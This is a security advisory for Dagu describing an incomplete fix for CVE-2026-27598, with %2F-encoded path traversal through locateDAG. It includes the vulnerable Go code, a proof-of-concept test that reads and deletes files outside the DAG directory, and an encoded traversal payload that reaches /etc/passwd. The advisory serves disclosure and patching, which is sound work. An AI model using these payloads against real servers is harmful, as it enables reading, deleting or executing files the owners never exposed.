Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG

Description

The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory.

Vulnerable code

internal/persis/filedag/store.go, lines 508-513:

func (store *Storage) locateDAG(nameOrPath string) (string, error) {
    if strings.Contains(nameOrPath, string(filepath.Separator)) {
        foundPath, err := findDAGFile(nameOrPath)
        if err == nil {
            return foundPath, nil  // returns arbitrary resolved path
        }
    }
    // ...safe searchPaths branch follows

findDAGFile resolves the path with filepath.Abs and checks only that the file exists with a YAML extension. No containment check against baseDir.

Chi v5 routes using r.URL.RawPath when set. The pattern /dags/{fileName}/spec captures ..%2F..%2Fetc%2Ftarget.yaml as a single path segment. The oapi-codegen runtime calls url.PathUnescape, producing ../../etc/target.yaml. This decoded string reaches locateDAG with the / separator intact.

Go's net/http.ServeMux would normally redirect paths containing .., but dagu binds the chi mux directly to &http.Server{Handler: r} (server.go:833-834), so no path cleaning fires.

Affected endpoints

The three confirmed impacts via locateDAG:

Endpoint Impact
GET /dags/{fileName}/spec Arbitrary .yaml/.yml file read (os.ReadFile)
DELETE /dags/{fileName} Arbitrary .yaml/.yml file delete (os.Remove)
POST /dags/{fileName}/start Load arbitrary YAML, execute as workflow

Same pattern affects all other {fileName} endpoints: /dag-runs, /dag-runs/{id}, /rename, /start-sync, /enqueue, and webhook handlers. UpdateDAGSpec is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject /.

PoC

Store-level (dagu v2.0.2, Go 1.26, macOS; locateDAG unchanged through v2.3.0):

func TestLocateDAGPathTraversal(t *testing.T) {
    baseDir, _ := os.MkdirTemp("", "bd")
    defer os.RemoveAll(baseDir)
    outsideDir, _ := os.MkdirTemp("", "od")
    defer os.RemoveAll(outsideDir)

    store := filedag.New(baseDir, filedag.WithSkipExamples(true))
    ctx := context.Background()
    store.Create(ctx, "legit", []byte("name: legit\nsteps:\n  - name: s\n    command: echo ok\n"))

    target := filepath.Join(outsideDir, "secret.yaml")
    os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644)

    rel, _ := filepath.Rel(baseDir, target)
    spec, _ := store.GetSpec(ctx, rel)
    fmt.Println(spec)
}

Output:

baseDir:    /tmp/bd1816472583
targetFile: /tmp/od3906487343/secret.yaml
traversal:  ../od3906487343/secret.yaml

=== GetSpec (arbitrary file read) ===
SUCCESS: read file outside baseDir
Content:
password: hunter2
db_host: prod-db.internal

=== Delete (arbitrary file delete) ===
SUCCESS: deleted /tmp/od3906487343/important.yaml

HTTP-level (chi v5.2.2):

r := chi.NewRouter()
r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) {
    raw := chi.URLParam(r, "fileName")
    decoded, _ := url.PathUnescape(raw)
    fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded)
})

req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil)
w := httptest.NewRecorder()
r.ServeHTTP(w, req)

Output:

path: /dags/..%2F..%2Fetc%2Fpasswd/spec
status: 200
raw=..%2F..%2Fetc%2Fpasswd
decoded=../../etc/passwd

Chi captures ..%2F..%2Fetc%2Fpasswd as one path segment via RawPath, oapi-codegen decodes %2F to /. Confirmed with chi v5.2.2.

Affected versions

  • v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).
  • The locateDAG function with the filepath.Separator code path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite.
  • The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched CreateNewDAG but didn't address the new locateDAG code path that was introduced in the same release.

Suggested fix

Add path containment to locateDAG rather than sprinkling ValidateDAGName across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split locateDAG into a validated public method (HTTP handlers) and an internal method (trusted callers only).

Impact

An authenticated user (or any user if auth.mode=none) can read or delete any .yaml/.yml file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.

The execute endpoints also traverse via locateDAG, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same locateDAG call confirmed above.

Auth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with auth.mode=none are exploitable without credentials.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-19 19:25:44 UTC
Updated
2026-03-27 21:57:52 UTC
GitHub reviewed
2026-03-19 19:25:44 UTC
NVD published
2026-03-24

EPSS Score

Score Percentile
0.02% 6.21%

CVSS Scores

Base score Version Severity Vector
8.1 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • vnykmshr (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/dagu-org/dagu >= 1.30.4-0.20260221021317-e2ed589105d7, < 1.30.4-0.20260319093346-7d07fda8f9de 1.30.4-0.20260319093346-7d07fda8f9de

References

cvelogic Threat Intelligence